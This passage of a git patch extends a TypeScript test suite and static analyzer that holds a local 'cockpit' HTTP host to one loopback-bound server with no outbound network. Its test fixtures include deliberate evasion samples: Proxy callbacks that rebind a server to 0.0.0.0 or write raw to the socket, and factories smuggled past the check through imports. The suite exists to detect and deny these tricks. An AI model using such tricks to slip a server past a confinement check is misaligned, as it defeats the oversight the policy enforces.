+ deny('server instantiation site bound', 'Codex P1 witness: confined factory invoked twice, second listener on 0.0.0.0', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst a = make();\nconst b = make();\na.listen(4317, '127.0.0.1');\nb.listen(4318, '0.0.0.0');`, ['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']),
outside('server instantiation site bound', 'runtime call multiplicity of one static site', `${NS}\nfunction boot() { http.createServer(${L}).close(); }\nboot();\nboot();`),
outside('server instantiation site bound', 'loop around one static site', `${NS}\nfor (let i = 0; i < 2; i += 1) { http.createServer(${L}).close(); }`),
];
From 5dbc97897595ba37d472f54295caf08925a7ca48 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 05:58:17 +0200
Subject: [PATCH 07/20] fix(cockpit): bound host module graph and
implicit-receiver callbacks
---
tests/cockpit-host/d3-network-policy.test.ts | 265 +++++++++++-
tests/cockpit-host/purity.test.ts | 15 +-
.../cockpit-host/support/d3-network-policy.ts | 393 +++++++++++++++++-
.../support/d3-regression-matrix.ts | 35 +-
4 files changed, 683 insertions(+), 25 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 9212a74..a7a01e0 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -7,6 +7,7 @@ import { describe, expect, it } from 'vitest';
import {
analyzeNetworkPolicy,
+ analyzeNetworkPolicyTree,
DEFAULT_FIXPOINT_CEILING,
inspectNetworkPolicy,
isValueRead,
@@ -331,7 +332,7 @@ describe('D3 network policy createServer listener boundary', () => {
for (const source of [
`${NS}\nhttp.createServer((${L}) as any);`,
`${NS}\nconst h1 = ${L};\nconst h2 = h1!;\nhttp.createServer(h2);`,
- `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(request.url); }\nhttp.createServer(handle);`,
+ `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(String(request.url)); }\nhttp.createServer(handle);`,
]) {
const result = analyzeNetworkPolicy(source);
expect(result.verdict, `${source}\n${describeFindings(result)}`).toBe('ALLOW');
@@ -1079,23 +1080,271 @@ describe('D3 network policy closes the open Codex findings on PR #67', () => {
});
});
+// ---------------------------------------------------------------------------
+// Codex review closure: implicit-receiver callbacks and the host module graph (PR #67)
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+ const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`;
+ const serverProxy = `const proxy = new Proxy(() => {}, { apply(_target: unknown, receiver: http.Server) { receiver.listen(4318, '0.0.0.0'); } });`;
+ const responseProxy = `const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });`;
+
+ it('denies every close call whose callback is not a local function literal, with one finding', () => {
+ for (const source of [
+ withServer(`${serverProxy}\nserver.close(proxy);`),
+ withServer(`declare const onClosed: () => void;\nserver.close(onClosed);`),
+ withServer(`server.close(1);`),
+ withServer(`server.close(() => {}, 1);`),
+ withServer(`declare const args: [() => void];\nserver.close(...args);`),
+ withServer(`server.listen(4317, '127.0.0.1').close(new Proxy(() => {}, {}));`),
+ withServer(`function setup(s: http.Server) { s.close(new Proxy(() => {}, {})); }\nsetup(server);`),
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['SERVER_CLOSE_CALLBACK']);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ for (const source of [
+ withServer(`server.close();`),
+ withServer(`server.close(() => { console.log('closed'); });`),
+ withServer(`server.close(function () { console.log('closed'); });`),
+ withServer(`function onClosed() { console.log('closed'); }\nserver.close(onClosed);`),
+ withServer(`const onClosed = () => {};\nserver.close(onClosed);`),
+ ]) {
+ expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]);
+ }
+ });
+
+ it('denies every end call whose chunk is not a proven string, with one finding', () => {
+ for (const source of [
+ inListener(`${responseProxy}\nresponse.end('ok', proxy);`),
+ inListener(`${responseProxy}\nresponse.end(proxy);`),
+ inListener(`declare const body: string;\nresponse.end(body);`),
+ inListener(`response.end('x', 'utf8');`),
+ inListener(`response.end(() => {});`),
+ inListener(`response.end(request.url ?? '');`),
+ inListener(`let body = 'x';\nresponse.end(body);`),
+ inListener(`const String = (v: unknown) => v;\nresponse.end(String('x'));`),
+ inListener(`function echo(v: string) { return v; }\nresponse.end(echo('x'));`),
+ inListener(`async function page() { return 'x'; }\nresponse.end(page());`),
+ inListener(`function* page() { yield 'x'; }\nresponse.end(page());`),
+ inListener(`declare const parts: string[];\nresponse.end(parts.join(''));`),
+ inListener(`response.setHeader('a', 'b').end(1);`),
+ `${NS}\nfunction send(r: http.ServerResponse, body: string) { r.end(body); }\nhttp.createServer((request, response) => { send(response, 'x'); });`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['RESPONSE_END_ARGUMENT']);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ for (const source of [
+ inListener(`response.end();`),
+ inListener(`response.end('ok');`),
+ inListener('response.end(`${request.url ?? \'\'}
`);'),
+ inListener(`response.end('' + request.url + '
');`),
+ inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`),
+ inListener(`response.end(request.url === '/' ? 'root' : 'other');`),
+ inListener(`response.end(String(request.url));`),
+ inListener(`function page(title: string) { return \`\${title}
\`; }\nresponse.end(page('x'));`),
+ inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`),
+ inListener(`const page = () => 'x';\nresponse.end(page());`),
+ inListener(`response.setHeader('a', 'b').end('x');`),
+ REAL_HOST_REPLICA,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ });
+
+ it('is structural: one call-shape check after the member policy, three positive predicates', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function checkAllowedCallShape(')).toBe(1);
+ expect(occurrences(detector, 'checkAllowedCallShape(ctx, parent, classes)')).toBe(1);
+ expect(occurrences(detector, 'function isProvenString(')).toBe(1);
+ expect(occurrences(detector, 'function hasOnlyLocalCallback(')).toBe(1);
+ expect(occurrences(detector, 'function hasOnlyProvenStringChunk(')).toBe(1);
+ expect(occurrences(detector, "deny(ctx, 'SERVER_CLOSE_CALLBACK'")).toBe(1);
+ expect(occurrences(detector, "deny(ctx, 'RESPONSE_END_ARGUMENT'")).toBe(1);
+ expect(occurrences(detector, 'Proxy')).toBe(1);
+ });
+});
+
+describe('D3 network policy host module graph (PR #67 Codex P1: exported factories across files)', () => {
+ const tree = (files: Record): ReadonlyMap =>
+ analyzeNetworkPolicyTree(Object.entries(files).map(([file, text]) => ({ file, text })));
+ const reasonsOf = (results: ReadonlyMap, file: string): readonly string[] => {
+ const result = results.get(file);
+ if (result === undefined) throw new Error(`no result for ${file}`);
+ return result.reasons;
+ };
+ const REVIEW = `${NS}\nexport function makeReviewServer(): http.Server {\n return http.createServer(${L});\n}`;
+
+ it('Codex witness: a consumer of an exported factory is held to the loopback binding', () => {
+ const wildcard = tree({
+ 'review.ts': REVIEW,
+ 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '0.0.0.0');`,
+ });
+ expect(reasonsOf(wildcard, 'review.ts')).toEqual([]);
+ expect(reasonsOf(wildcard, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const loopback = tree({
+ 'review.ts': REVIEW,
+ 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '127.0.0.1');`,
+ });
+ expect(reasonsOf(loopback, 'review.ts')).toEqual([]);
+ expect(reasonsOf(loopback, 'main.ts')).toEqual([]);
+ const standalone = analyzeNetworkPolicy(`import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(45678, '0.0.0.0');`);
+ expect(standalone.reasons, 'a lone file cannot know the import is a factory').toEqual([]);
+ });
+
+ it('propagates factories through default exports, aliases, re-export chains and the consumer\'s own factories', () => {
+ const viaDefault = tree({
+ 'x.ts': `${NS}\nexport default function make() { return http.createServer(${L}); }`,
+ 'main.ts': `import make from './x.js';\nmake().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(viaDefault, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const viaAlias = tree({
+ 'x.ts': `${NS}\nfunction make() { return http.createServer(${L}); }\nexport { make as build };`,
+ 'main.ts': `import { build as b } from './x.js';\nb().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(viaAlias, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const viaChain = tree({
+ 'review.ts': REVIEW,
+ 'mid.ts': `export { makeReviewServer } from './review.js';`,
+ 'star.ts': `export * from './mid.js';`,
+ 'main.ts': `import { makeReviewServer } from './star.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(viaChain, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const viaWrapper = tree({
+ 'review.ts': REVIEW,
+ 'wrap.ts': `import { makeReviewServer } from './review.js';\nexport function boot() { return makeReviewServer(); }`,
+ 'main.ts': `import { boot } from './wrap.js';\nboot().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(viaWrapper, 'wrap.ts')).toEqual([]);
+ expect(reasonsOf(viaWrapper, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ const nested = tree({
+ 'lib/review.ts': REVIEW,
+ 'main.ts': `import { makeReviewServer } from './lib/review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
+ 'lib\\deep\\entry.ts': `import { makeReviewServer } from '../review.js';\nmakeReviewServer().listen(1, '0.0.0.0');`,
+ });
+ expect(reasonsOf(nested, 'main.ts')).toEqual(['SERVER_LISTEN_BINDING']);
+ expect(reasonsOf(nested, 'lib/deep/entry.ts')).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']);
+ });
+
+ it('applies the server-instantiation site bound across the tree', () => {
+ const twoFiles = tree({
+ 'review.ts': `${REVIEW}\nmakeReviewServer().listen(4317, '127.0.0.1');`,
+ 'main.ts': `import { makeReviewServer } from './review.js';\nmakeReviewServer().listen(4318, '127.0.0.1');`,
+ });
+ expect(reasonsOf(twoFiles, 'review.ts')).toEqual([]);
+ expect(reasonsOf(twoFiles, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']);
+ const directPlusImported = tree({
+ 'review.ts': REVIEW,
+ 'main.ts': `${NS}\nimport { makeReviewServer } from './review.js';\nhttp.createServer(${L}).listen(4317, '127.0.0.1');\nmakeReviewServer().close();`,
+ });
+ expect(reasonsOf(directPlusImported, 'main.ts')).toEqual(['CREATE_SERVER_MULTIPLE']);
+ });
+
+ it('denies every import form through which a factory could leave the graph unseen', () => {
+ for (const [consumer, reason] of [
+ [`import * as review from './review.js';\nreview.makeReviewServer().listen(1, '0.0.0.0');`, 'SERVER_FACTORY_ESCAPE'],
+ [`export * as review from './review.js';`, 'SERVER_FACTORY_ESCAPE'],
+ [`import review = require('./review.js');\nreview.makeReviewServer();`, 'SERVER_FACTORY_ESCAPE'],
+ [`void import('./review.js');`, 'SERVER_FACTORY_ESCAPE'],
+ [`import { makeReviewServer } from './review.js';\nuse(makeReviewServer);`, 'SERVER_FACTORY_ESCAPE'],
+ [`import { makeReviewServer } from './review.js';\nconst fns = [makeReviewServer];`, 'SERVER_FACTORY_ESCAPE'],
+ [`import { makeReviewServer } from './review.js';\nmakeReviewServer.call(null);`, 'SERVER_FACTORY_ESCAPE'],
+ [`import { makeReviewServer } from './review.js';\nmakeReviewServer?.();`, 'SERVER_FACTORY_ESCAPE'],
+ ] as const) {
+ const results = tree({ 'review.ts': REVIEW, 'main.ts': consumer });
+ expect(reasonsOf(results, 'main.ts'), consumer).toContain(reason);
+ }
+ for (const consumer of [
+ `import { makeReviewServer } from './review.js';\nmakeReviewServer().close();`,
+ `import { makeReviewServer } from './review.js';\nconst t = typeof makeReviewServer;\nt;`,
+ `import { makeReviewServer } from './review.js';\nexport { makeReviewServer };`,
+ `import type { makeReviewServer } from './review.js';\nlet x: typeof makeReviewServer | null = null;\nx;`,
+ `import * as other from './other.js';\nother.x;`,
+ ]) {
+ const results = tree({ 'review.ts': REVIEW, 'other.ts': `export const x = 1;`, 'main.ts': consumer });
+ expect(reasonsOf(results, 'main.ts'), consumer).toEqual([]);
+ }
+ });
+
+ it('carries proven strings and string functions across files for response.end', () => {
+ const files = {
+ 'styles.ts': 'export const STYLES = `body {}`;',
+ 'render.ts': 'export function renderDashboard(title: string): string {\n return `${title}
`;\n}',
+ 'server.ts': `${NS}\nimport { renderDashboard } from './render.js';\nimport { STYLES } from './styles.js';\nexport function buildDashboardHtml(): string { return renderDashboard('x'); }\nexport function createCockpitServer(): http.Server {\n const page = buildDashboardHtml();\n return http.createServer((request, response) => {\n if (request.url === '/styles.css') { response.end(STYLES); return; }\n response.end(page);\n });\n}\ncreateCockpitServer().listen(4317, '127.0.0.1');`,
+ };
+ const results = tree(files);
+ for (const file of Object.keys(files)) expect(reasonsOf(results, file), file).toEqual([]);
+ const standalone = analyzeNetworkPolicy(files['server.ts']);
+ expect(standalone.reasons).toEqual(['RESPONSE_END_ARGUMENT']);
+ expect(standalone.findings).toHaveLength(2);
+ const unproven = tree({
+ ...files,
+ 'render.ts': `export function renderDashboard(parts: string[]): string {\n return parts.join('');\n}`,
+ });
+ expect(reasonsOf(unproven, 'server.ts')).toEqual(['RESPONSE_END_ARGUMENT']);
+ const exported = inspectNetworkPolicy(files['server.ts']);
+ expect([...exported.hostExports.factories]).toEqual(['createCockpitServer']);
+ expect([...exported.hostExports.stringFunctions]).toEqual([]);
+ });
+
+ it('is bounded: exports converge within one round per file, and an unresolvable specifier stays outside the boundary', () => {
+ const cycle = tree({
+ 'a.ts': `export { make } from './b.js';`,
+ 'b.ts': `export { make } from './a.js';`,
+ 'main.ts': `import { make } from './a.js';\nmake();`,
+ });
+ expect(reasonsOf(cycle, 'main.ts')).toEqual([]);
+ const outside = tree({
+ 'review.ts': REVIEW,
+ 'main.ts': `import { makeReviewServer } from '/abs/review.js';\nimport { other } from './missing.js';\nmakeReviewServer().listen(1, '0.0.0.0');\nother();`,
+ });
+ expect(reasonsOf(outside, 'main.ts')).toEqual([]);
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function analyzeNetworkPolicyTree(')).toBe(1);
+ expect(occurrences(detector, 'function collectHostImports(')).toBe(1);
+ expect(occurrences(detector, 'function hostExportsOf(')).toBe(1);
+ expect(occurrences(detector, "from 'node:path'")).toBe(0);
+ });
+});
+
// ---------------------------------------------------------------------------
// Real host
// ---------------------------------------------------------------------------
describe('D3 network policy accepts the real Stage-A host', () => {
- it('allows every real host source file', () => {
- const files = readdirSync(hostDir, { recursive: true })
+ const realHostSources = (): { file: string; text: string }[] =>
+ readdirSync(hostDir, { recursive: true })
.map((entry) => String(entry))
- .filter((name) => name.endsWith('.ts'));
- expect(files).toContain('server.ts');
- for (const file of files) {
- const result = analyzeNetworkPolicy(readFileSync(join(hostDir, file), 'utf8'));
+ .filter((name) => name.endsWith('.ts'))
+ .map((file) => ({ file, text: readFileSync(join(hostDir, file), 'utf8') }));
+
+ it('allows every real host source file through the host module graph', () => {
+ const sources = realHostSources();
+ expect(sources.map((source) => source.file)).toContain('server.ts');
+ const results = analyzeNetworkPolicyTree(sources);
+ expect(results.size).toBe(sources.length);
+ for (const [file, result] of results) {
expect(result.fixpoint.state, file).toBe('CONVERGED');
- expect(result.verdict, `${file}: ${describeFindings(result)}`).toBe('ALLOW');
+ expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]);
+ expect(result.verdict, file).toBe('ALLOW');
}
});
+ it('fails closed on the real server.ts alone: its response bodies are proven only through sibling exports', () => {
+ const standalone = analyzeNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8'));
+ expect(standalone.reasons, describeFindings(standalone)).toEqual(['RESPONSE_END_ARGUMENT']);
+ const inspection = inspectNetworkPolicy(readFileSync(join(hostDir, 'render.ts'), 'utf8'));
+ expect([...inspection.hostExports.stringFunctions]).toContain('renderDashboard');
+ const styles = inspectNetworkPolicy(readFileSync(join(hostDir, 'styles.ts'), 'utf8'));
+ expect([...styles.hostExports.strings]).toEqual(['STYLES']);
+ const server = inspectNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8'));
+ expect([...server.hostExports.factories]).toEqual(['createCockpitServer']);
+ expect(server.instantiationSites).toBe(1);
+ });
+
it('proves the real server.ts through the intended mechanisms', () => {
const inspection = inspectNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8'));
const [factory] = identifiersNamed(inspection.sourceFile, 'createCockpitServer');
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index d2d7b1a..75fa8c0 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -15,7 +15,7 @@ import { fileURLToPath, pathToFileURL } from 'node:url';
import ts from 'typescript';
import { afterAll, describe, expect, it } from 'vitest';
-import { analyzeNetworkPolicy } from './support/d3-network-policy.js';
+import { analyzeNetworkPolicy, analyzeNetworkPolicyTree } from './support/d3-network-policy.js';
/**
* Cockpit D3 host purity, bounded to `src/cockpit-host/`.
@@ -3371,7 +3371,9 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
* `./support/d3-network-policy.ts` and is exercised mechanism-by-mechanism in
* `d3-network-policy.test.ts` together with the semantic regression matrix.
* Here it is applied to the real host tree through the same symlink-checked
- * `hostSources()` reader the other host guards use. The host source may contain
+ * `hostSources()` reader the other host guards use, as one host module graph:
+ * a server factory exported by one host file stays a proven factory in the
+ * files that import it. The host source may contain
* one server instantiation site, loopback-bound (a statically proven
* `listen(, '127.0.0.1'[, callback])`); it may not obtain outbound
* network, socket, hidden mutable server, or non-allow-listed request/response
@@ -3379,8 +3381,13 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
*/
describe('D3 host network policy (D3-NET)', () => {
it('accepts every real host source under the frozen network policy', () => {
- for (const { file, text } of hostSources()) {
- const result = analyzeNetworkPolicy(text);
+ // The tree entry seeds each file with the proven exports of the sibling host
+ // files it imports (server factories, string constants, string functions) and
+ // applies the server-instantiation site bound across the whole host tree.
+ const sources = hostSources();
+ const results = analyzeNetworkPolicyTree(sources);
+ expect(results.size).toBe(sources.length);
+ for (const [file, result] of results) {
const detail = result.findings
.map((finding) => `${finding.reason}@${String(finding.line)}:${String(finding.column)} ${finding.text}`)
.join('; ');
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 95facbc..bc89318 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -19,6 +19,9 @@
* - unique `const` bindings and unique bodied local `FunctionDeclaration`s
* - finite local propagation through a bounded monotone fixpoint
* - finite static-key folding
+ * - the host module graph, only through `analyzeNetworkPolicyTree`: proven
+ * exports of sibling host files (server factories, string constants and
+ * string-returning functions) seeded into their importers
*
* One concept, one implementation: `valueSymbolOf` is the only symbol
* resolution path; `resolveStaticKey` is the only key resolver;
@@ -71,6 +74,9 @@ export type ReasonCode =
| 'CREATE_SERVER_ARITY'
| 'CREATE_SERVER_MULTIPLE'
| 'SERVER_LISTEN_BINDING'
+ | 'SERVER_CLOSE_CALLBACK'
+ | 'RESPONSE_END_ARGUMENT'
+ | 'SERVER_FACTORY_ESCAPE'
| 'LISTENER_NOT_FUNCTION'
| 'LISTENER_PARAMETER_PATTERN'
| 'LISTENER_THIS_PARAMETER';
@@ -95,9 +101,23 @@ export interface NetworkPolicyResult {
readonly fixpoint: FixpointReport;
}
+/** Proven exports of one sibling host file, as seen by an importer (host module graph, tree entry). */
+export interface HostModuleExports {
+ /** Export names that are confined server factories in the exporting file. */
+ readonly factories: ReadonlySet;
+ /** Export names whose value is a proven string. */
+ readonly strings: ReadonlySet;
+ /** Export names that are local functions returning only proven strings. */
+ readonly stringFunctions: ReadonlySet;
+}
+
export interface NetworkPolicyOptions {
/** Absolute safety ceiling on fixpoint iterations (test hook; default `DEFAULT_FIXPOINT_CEILING`). */
readonly fixpointCeiling?: number;
+ /** Proven exports of sibling host files, keyed by the exact module specifier text used in this file (set by `analyzeNetworkPolicyTree`). */
+ readonly hostImports?: ReadonlyMap;
+ /** Server-instantiation sites already counted in earlier files of the same host tree (set by `analyzeNetworkPolicyTree`). */
+ readonly priorInstantiationSites?: number;
}
export type StaticKey =
@@ -115,13 +135,15 @@ export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebS
export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']);
const CREATE_SERVER = 'createServer';
const SERVER_LISTEN = 'listen';
-export const SERVER_METHODS: ReadonlySet = new Set([SERVER_LISTEN, 'close']);
+const SERVER_CLOSE = 'close';
+export const SERVER_METHODS: ReadonlySet = new Set([SERVER_LISTEN, SERVER_CLOSE]);
/** The only host a proven SERVER target may listen on (positive policy; compared through the static-key resolver). */
export const LOOPBACK_HOST = '127.0.0.1';
/** Largest decimal port a proven SERVER target may listen on. */
export const PORT_MAX = 65535;
export const REQUEST_READS: ReadonlySet = new Set(['method', 'url']);
-export const RESPONSE_METHODS: ReadonlySet = new Set(['setHeader', 'end']);
+const RESPONSE_END = 'end';
+export const RESPONSE_METHODS: ReadonlySet = new Set(['setHeader', RESPONSE_END]);
const RESPONSE_STATUS = 'statusCode';
/** Every key the policy ever compares a static string against. */
@@ -185,6 +207,17 @@ interface Context {
/** Number of `expressionFacts` evaluations (complexity witness for the inspection API). */
expressionFactsEvaluations: number;
readonly fixpointCeiling: number;
+ /** Proven exports of sibling host files by specifier text (tree entry; empty for a standalone file). */
+ readonly hostImports: ReadonlyMap;
+ /** Server-instantiation sites counted in earlier files of the same tree. */
+ readonly priorInstantiationSites: number;
+ /** Import bindings seeded as confined server factories from sibling host files. */
+ readonly externalFactories: Set;
+ /** Import bindings seeded as proven strings / string-returning functions from sibling host files. */
+ readonly externalStrings: Set;
+ readonly externalStringFunctions: Set;
+ /** Server-instantiation sites found in this file (recorded by `checkInstantiationSites`). */
+ instantiationSites: number;
}
const FILE_NAME = 'host.ts';
@@ -700,6 +733,66 @@ function collectHttpImports(ctx: Context): void {
}
}
+/**
+ * Host module graph (tree entry only): seed bindings imported from sibling host
+ * files with the authority proven there — a confined server factory stays a
+ * confined factory in its importer, a proven string stays a proven string —
+ * and deny every import form through which a factory could leave the graph
+ * unseen (namespace import/re-export, `require`, dynamic import).
+ */
+function collectHostImports(ctx: Context): void {
+ if (ctx.hostImports.size === 0) return;
+ const exportsOf = (specifier: ts.Expression | undefined): HostModuleExports | undefined =>
+ specifier !== undefined && ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined;
+ for (const statement of ctx.sourceFile.statements) {
+ if (ts.isImportDeclaration(statement)) {
+ const source = exportsOf(statement.moduleSpecifier);
+ const clause = statement.importClause;
+ if (source === undefined || clause === undefined || isTypeOnlyImportClause(clause)) continue;
+ const seed = (name: ts.Identifier, imported: string): void => {
+ const symbol = valueSymbolOf(ctx.checker, name);
+ if (symbol === undefined) return;
+ if (source.factories.has(imported)) {
+ ctx.confinedFactories.add(symbol);
+ ctx.externalFactories.add(symbol);
+ }
+ if (source.strings.has(imported)) ctx.externalStrings.add(symbol);
+ if (source.stringFunctions.has(imported)) ctx.externalStringFunctions.add(symbol);
+ };
+ if (clause.name !== undefined) seed(clause.name, 'default');
+ const bindings = clause.namedBindings;
+ if (bindings === undefined) continue;
+ if (ts.isNamespaceImport(bindings)) {
+ if (source.factories.size > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', bindings);
+ continue;
+ }
+ for (const element of bindings.elements) {
+ if (!element.isTypeOnly) seed(element.name, (element.propertyName ?? element.name).text);
+ }
+ }
+ if (ts.isExportDeclaration(statement) && !statement.isTypeOnly) {
+ const source = exportsOf(statement.moduleSpecifier);
+ const clause = statement.exportClause;
+ if (source !== undefined && source.factories.size > 0 && clause !== undefined && ts.isNamespaceExport(clause)) {
+ deny(ctx, 'SERVER_FACTORY_ESCAPE', clause);
+ }
+ }
+ if (ts.isImportEqualsDeclaration(statement) && !statement.isTypeOnly && ts.isExternalModuleReference(statement.moduleReference)) {
+ const source = exportsOf(statement.moduleReference.expression);
+ if (source !== undefined && source.factories.size > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', statement);
+ }
+ }
+ for (const call of ctx.calls) {
+ if (call.expression.kind !== ts.SyntaxKind.ImportKeyword) continue;
+ const [specifier] = call.arguments;
+ if (specifier === undefined) continue;
+ const literal = unwrap(specifier);
+ const key = resolveStaticKey(ctx, specifier);
+ const text = ts.isStringLiteralLike(literal) ? literal.text : key.kind === 'RESOLVED' ? key.value : undefined;
+ if (text !== undefined && (ctx.hostImports.get(text)?.factories.size ?? 0) > 0) deny(ctx, 'SERVER_FACTORY_ESCAPE', call);
+ }
+}
+
// ---------------------------------------------------------------------------
// createServer recognition and listener normalization
// ---------------------------------------------------------------------------
@@ -1049,6 +1142,101 @@ function isLoopbackListen(ctx: Context, call: ts.CallExpression): boolean {
return callback === undefined || normalizeListener(ctx, callback) !== null;
}
+/**
+ * Proven string (positive policy): an expression that can only evaluate to a
+ * primitive string — a string or template literal (any spans), `+` with a
+ * proven-string side, a conditional of proven strings, `String(...)` through
+ * the unshadowed global, a unique const initialized by one, a call of a local
+ * non-async eligible callee whose every own return is one, or a binding seeded
+ * from a sibling host file's proven exports. Nothing else is proven, so no
+ * callable value (a Proxy, a function) can reach a Node callback position.
+ */
+function isProvenString(ctx: Context, expression: ts.Expression, visiting: Set): boolean {
+ const node = unwrap(expression);
+ if (ts.isStringLiteralLike(node) || ts.isTemplateExpression(node)) return true;
+ if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.PlusToken) {
+ return isProvenString(ctx, node.left, visiting) || isProvenString(ctx, node.right, visiting);
+ }
+ if (ts.isConditionalExpression(node)) {
+ return isProvenString(ctx, node.whenTrue, visiting) && isProvenString(ctx, node.whenFalse, visiting);
+ }
+ if (ts.isIdentifier(node)) {
+ const symbol = valueSymbolOf(ctx.checker, node);
+ if (symbol === undefined || visiting.has(symbol)) return false;
+ if (ctx.externalStrings.has(symbol)) return true;
+ const declaration = uniqueConstDeclaration(ctx, symbol);
+ if (declaration?.initializer === undefined) return false;
+ visiting.add(symbol);
+ const proven = isProvenString(ctx, declaration.initializer, visiting);
+ visiting.delete(symbol);
+ return proven;
+ }
+ if (ts.isCallExpression(node) && node.questionDotToken === undefined && !node.arguments.some((argument) => ts.isSpreadElement(argument))) {
+ const callee = unwrap(node.expression);
+ if (!ts.isIdentifier(callee)) return false;
+ const symbol = valueSymbolOf(ctx.checker, callee);
+ if (symbol === undefined) return callee.text === 'String' && node.arguments.length === 1;
+ return isStringFunction(ctx, symbol, visiting);
+ }
+ return false;
+}
+
+/** A local non-async, non-generator eligible callee whose every own return is a proven string, or a seeded string function. */
+function isStringFunction(ctx: Context, symbol: ts.Symbol, visiting: Set): boolean {
+ if (ctx.externalStringFunctions.has(symbol)) return true;
+ if (visiting.has(symbol)) return false;
+ const fn = eligibleCallee(ctx, symbol);
+ if (fn === null || fn.asteriskToken !== undefined) return false;
+ if ((ts.getCombinedModifierFlags(fn) & ts.ModifierFlags.Async) !== 0) return false;
+ const returns = ownReturnExpressions(fn);
+ if (returns.length === 0) return false;
+ visiting.add(symbol);
+ const proven = returns.every((returned) => returned !== null && isProvenString(ctx, returned, visiting));
+ visiting.delete(symbol);
+ return proven;
+}
+
+/** A binding whose value is a proven string: seeded, or a unique const with a proven-string initializer. */
+function isStringValue(ctx: Context, symbol: ts.Symbol): boolean {
+ if (ctx.externalStrings.has(symbol)) return true;
+ const declaration = uniqueConstDeclaration(ctx, symbol);
+ return declaration?.initializer !== undefined && isProvenString(ctx, declaration.initializer, new Set([symbol]));
+}
+
+/** `close()` or `close()`: Node calls the callback with the server as `this`, which only a local function literal (whose `this` is already denied) may receive. */
+function hasOnlyLocalCallback(ctx: Context, call: ts.CallExpression): boolean {
+ const [callback] = call.arguments;
+ if (callback === undefined) return call.arguments.length === 0;
+ return call.arguments.length === 1 && normalizeListener(ctx, callback) !== null;
+}
+
+/** `end()` or `end()`: any callable chunk or explicit callback would run with the response as `this`. */
+function hasOnlyProvenStringChunk(ctx: Context, call: ts.CallExpression): boolean {
+ const [chunk] = call.arguments;
+ if (chunk === undefined) return call.arguments.length === 0;
+ return call.arguments.length === 1 && !ts.isSpreadElement(chunk) && isProvenString(ctx, chunk, new Set());
+}
+
+/**
+ * The further positive checks on an allow-listed direct call of a proven
+ * target: `listen` must be loopback-bound, `close` may carry only a local
+ * function callback, `end` may carry only a proven string. Each of these calls
+ * hands its receiver to a callback as an implicit `this`, so nothing but a
+ * local function literal or a proven primitive may reach them.
+ */
+function checkAllowedCallShape(ctx: Context, access: MemberAccess, classes: ReadonlySet): void {
+ const call = directCallOf(access);
+ if (call === null) return;
+ const key = memberKey(ctx, access);
+ if (classes.has('SERVER')) {
+ if (isResolvedTo(key, SERVER_LISTEN) && !isLoopbackListen(ctx, call)) deny(ctx, 'SERVER_LISTEN_BINDING', call);
